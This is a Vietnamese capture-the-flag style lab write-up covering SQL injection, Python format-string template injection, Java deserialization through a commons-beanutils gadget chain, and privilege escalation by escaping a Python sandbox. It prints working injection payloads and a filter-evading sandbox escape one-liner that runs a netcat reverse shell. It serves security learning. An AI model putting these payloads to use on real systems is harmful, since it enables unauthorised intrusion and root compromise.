Overview
Địa chỉ: 10.14.140.127
Bài Lab được tạo ra với mục đích cho bản thân và mọi người trong teamtontac của tôi nghiên cứu, học tập về các lỗ hổng bảo mật và phát triển bản thân.
- 1 – Khai thác lỗ hổng Java Deserialization trên port 8081 để lấy shell datmom
- 2 – Từ datmom escape python sandbox để leo thang lên root.
Ngoài ra còn 1 số dịch vụ khác đóng vai trò làm rabbit hole (SQLInjection, SSTI).
Rabbit hole
Sử dụng nmap scan nhanh ta thấy được các port dịch vụ đang open trên máy chủ:
Port 80
Một ứng dụng web đang chạy trên port 80 cho phép chúng ta tìm kiếm thông tin nhân viên của CMC Infosec dựa vào user id do người dùng nhập vào:
Ta dễ dang detect được trang web bị ảnh hưởng bởi lỗ hổng SQL Injection chỉ với việc chèn thêm dấu nháy (') để phá vỡ câu truy vấn SQL:
Vì đây là chức năng tìm kiếm thông tin user dựa vào user id người dùng nhập vào. Nên ta có thể suy luận câu truy vấn SQL có thể như sau:
SELECT id, full_name FROM users WHERE id LIKE '$id'
Tiến hành dump all user ( ' or 1=1 -- -
):
Sử dụng Sqlmap để dump all DB:
Dump DB cmc_db:
Dump DB secret:
Không có nội dung đặc biệt và có thể lợi dụng được từ DB
Trích xuất version hệ quản trị CSDL: 1' union select null,@@version -- -
Không thể sử dụng union kết hợp into outfile để get shell vì webroot đã được custom và user cũng không có quyền ghi vào thư mục webroot.
Port 9090
Check source code ta biết được dịch vụ đang chạy trên port này là cockpit.
https://github.com/cockpit-project/cockpit
Chỉ là 1 GUI management giúp quản lý OS -> Không có khả năng khai thác
Port 9988
Đây là 1 service tự custom là CMC memcat. Source code được cung cấp trước có sẵn tại:
http://10.14.140.127/memcat_server.py
Ta thấy service hoạt động như một STACK cho phép PUSH, POP và DELETE data.
Hiển thị dữ liệu cho người dùng sử dụng .format (là một template có sẵn của Python)
Vì vậy ở đây có thể bị ảnh hưởng bởi lỗ hổng SSTI (Server Side Template Injection). Có thể khai thác khi chúng ta kiểm soát được khung của đầu ra dữ liệu.
Ta thấy ở đây hầu hết các output đều được fix cứng và không thể khai thác:
Xem kĩ tính năng DELETE với len(parsed_data) là 3 ta thấy:
Ở đây ta có thể kiểm soát được {val.value}
là giá trị ta PUSH vào từ trước. Khi len(parsed_data) là 3 service sẽ in ra giá trị đó cho biết chi tiết của key cần delete:
Payload: {val.__init__.__globals__}
(show ra toàn bộ biến global)
Chúng ta có hint: “Thank for your efforts!\nPort 8081 is the only way!\n”
Thực tế chúng ta cũng không thể khai thác để chạy một lệnh tuỳ ý trên server vì .format trong python không cho phép gọi đến hàm, function khác.
Foothold with Java deserialization
Recon
Khi truy cập vào máy chủ trên port 8081. Mặc định server cho ta download 1 file:
Với nội dung:
Dựa vào header Content-Disposition ta có thể thấy được tên file là đường dẫn file: logs/info/info.2021-08-22.log
Server trả về lỗi logname:
Lúc này ta có thể thử thay đổi logname:
Việc đổi logname vẫn trả về lỗi, nhưng có thể thấy rằng tên file đã thay đổi thực sự là tên file log, vì vậy nó có thể được chia theo ngày -> ta thay thế thành năm, tháng và ngày hôm nay.
Ta thấy file log được đọc thành công .Theo nội dung của file, có thể thấy rằng web sử dụng springboot, và tên gói jar tương ứng là cb-0.0.1- SNAPSHOT.jar
Thử tải xuống jar file:
Thành công tải về jar file -> Decompile để xem source
Ở đây sử dụng JadX
Xử lý chính:
Ở đây ta tìm thấy được 1 API ẩn cho phép deserialize User từ request do người dùng gửi lên được mã hoá base64 sử dụng hàm readObject()
API endpoint: /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser
Điều này cho phép chúng ta tận dụng để có thể khai khác lỗ hổng Java Deserialization
Exploit
File pom.xml là nơi khai báo tất cả những gì liên quan đến dự án được cấu hình qua maven, như khai báo các dependency, version của dự án, tên dự án, repossitory …
Từ pom.xml ta biết được project sử dụng thư viện commons-beanutils 1.8.2
Đây là 1 thư viện chứa một gadget chain có thể dẫn tới thực thi mã tuỳ ý trên máy chủ thông qua lỗ hổng Java Deserialization đã được phát hiện từ trước.
Ysoserial là bột cộ công cụ nổi tiếng cho phép chúng ta gen payload Java Deserialization một cách tự động.
https://github.com/frohoff/ysoserial
Ở đây Ysoserial bao gồm cả payload liên quan đến thư viện commons-beanutils. Nhưng khi xem kĩ hơn phần code được sử dụng để gen payload cho thư viện này của ysoserial ta thấy:
Ngoài việc sử dụng commons-beanutils, payload ysoserial tạo ra cũng cần commons-collections và commons-logging để có thể hoàn thiện chain. Mà trong dự án lại không có thêm 2 gói phụ thuộc này.
Vậy chúng ta không thể sử dụng công cụ này để tạo payload giúp RCE máy chủ. Chúng ta chỉ có thể tự viết code gen payload chỉ bao gồm commons-beanutils và các thư viện chuẩn của java để tạo payload giúp RCE máy chủ.
Như đã được phân tích kĩ trong bài viết : https://tranquac.com/posts/2022/01/java-deserialization-commonsbeanutils1-exploit-chain-analysis/
Gadget chain có trong thư viện này sẽ như sau:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
Như đã được phân tích trong bài viết:
PropertyUtils.getProperty(o1, property) : Khi o1 được truyền vào là một TemplatesImpl object và property có giá trị là outputProperties, phương thức getter sẽ tự động gọi để thực thi phương thức TemplatesImpl#getOutputProperties(). Trong nội bộ TemplatesImpl#getOutputProperties() nó lại gọi đến newTransformer(). Mà TemplatesImpl#newTransformer() thường được sử dụng để thực thi bytecodes độc hại. Nhiệm vụ của chúng ta là tạo bytecode độc hại mà giúp RCE máy chủ để truyền vào đối tượng TemplatesImpl giúp hoàn thành chain
Tạo một đối tượng TemplatesImpl thực thi bytecode độc hại:
TargetByteCodes chính là bytecode độc hại được tạo ra bằng cách:
Tạo ra một class từ String command truyền vào -> biến đổi class đó thành mảng byte tương ứng kiểu để truyền vào TemplatesImpl
Rồi gọi đến hàm getPayload để tạo payload -> Encode base64 để truyền lên server
Thay thế + thành “%2b” để tránh lỗi kí tự khi xử lý trên server:
Sau khi chạy nhận được payload:
=> Send request:
Ngoài ra ta cũng có thể sử dụng một cách khác. Vì ứng dụng sử dụng spring boot. Nên ta sẽ tạo class SpringEcho có tác dụng nhận một Header cmd mỗi request. Thực thi cmd đó và trả lại response. Như vậy mỗi lần thực thi một lệnh khác nhau ta sẽ không cần phải gen lại payload nữa:
Tham khảo:
Thảo khảo toàn bộ source tại: http://103.81.86.132/source.rar
Datmom to root with Python escape sandbox
Sau khi lấy được shell của user datmom. Sử dụng sudo -l ta thấy user datmom có thể chạy 2 command với đặc quyền của root
Command đầu tiên không thể được lợi dụng để leo thang đặc quyền
Vì để lấy được shell phải chờ một khoảng thời gian rất lâu, cũng không có input hay untrusted data nào có thể lợi dụng được
Lệnh thứ 2 cho phép ta mở một sandbox python dưới đặc quyền của root
Mục tiêu là từ sandbox làm sao ta có thể thực thi được os command lấy được shell root.
Nội dung es2.py
Ở đây. Sandbox đã được xoá hết func, lib mà ta có thể lợi dụng để gọi OS command: import, exec, eval, os …
Nếu lệnh của chúng ta không chứa những từ khoá này thì sẽ được thực thi. Còn không thì sẽ đưa ra cảnh báo:
Vì vậy làm sao để có thể thực thi được os command từ sandbox này?
Khi chúng ta không thể import modules hay những modules mà chúng ta muốn import bị cấm.
Ý tưởng tương tự khi chúng ta khai thác lỗ hổng SSTI. Được biết mỗi đối tượng trong python đều có các properties, method ẩn. Liệu từ những properties hay method ẩn này chúng ta có thể làm một điều gì đó lớn lao?
Ví dụ một payload giúp escape sandbox này:
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('nc 127.0.0.1 4444 -e /bin/bash'))
Chúng ta hãy cùng đi sâu 1 chút để hiểu hơn về payload này hoạt động ra sao:
Khi làm SSTI tôi thường quan tâm đến method init khi nó xuất hiên, là một method thú vị, từ nó chúng ta hay có thể làm được 1 điều gì đó thú vị như: in ra toàn bộ biến globals, RCE …
() được biết đến như cách khai báo một tuple trong python
Sử dụng dir để xem toàn bộ properties hay method ẩn của 1 tuple
.__class__
( is a reference to the type of the current instance)
Kiên trì tìm kiếm bằng cách sử dụng dump hay tìm kiếm 1 payload mà đã được tìm ra trước đó. Ta có thể thấy __init__
xuất hiện tại:
Tiếp tục đi sâu vào __init__
ta sẽ tìm thấy một con đường giúp chúng ta gọi đến được os lib bằng cách sử dụng func_globals['linecache']
có trong __init__
YES. Nhưng để tránh keyword os đã bị cấm. Ta sẽ gọi đến nó bằng cách cộng 2 chuối “o” và “s”. Trong os gọi tiếp đến “system” và giờ có thể run os command tuỳ ý.
Có rất nhiều payload khác cũng có thể giúp ta đạt được mục tiêu cuối cùng. Mọi người có thể tìm hiểu thêm và phân tích để hiểu rõ hơn.
Cảm ơn vì đã đọc tới đây!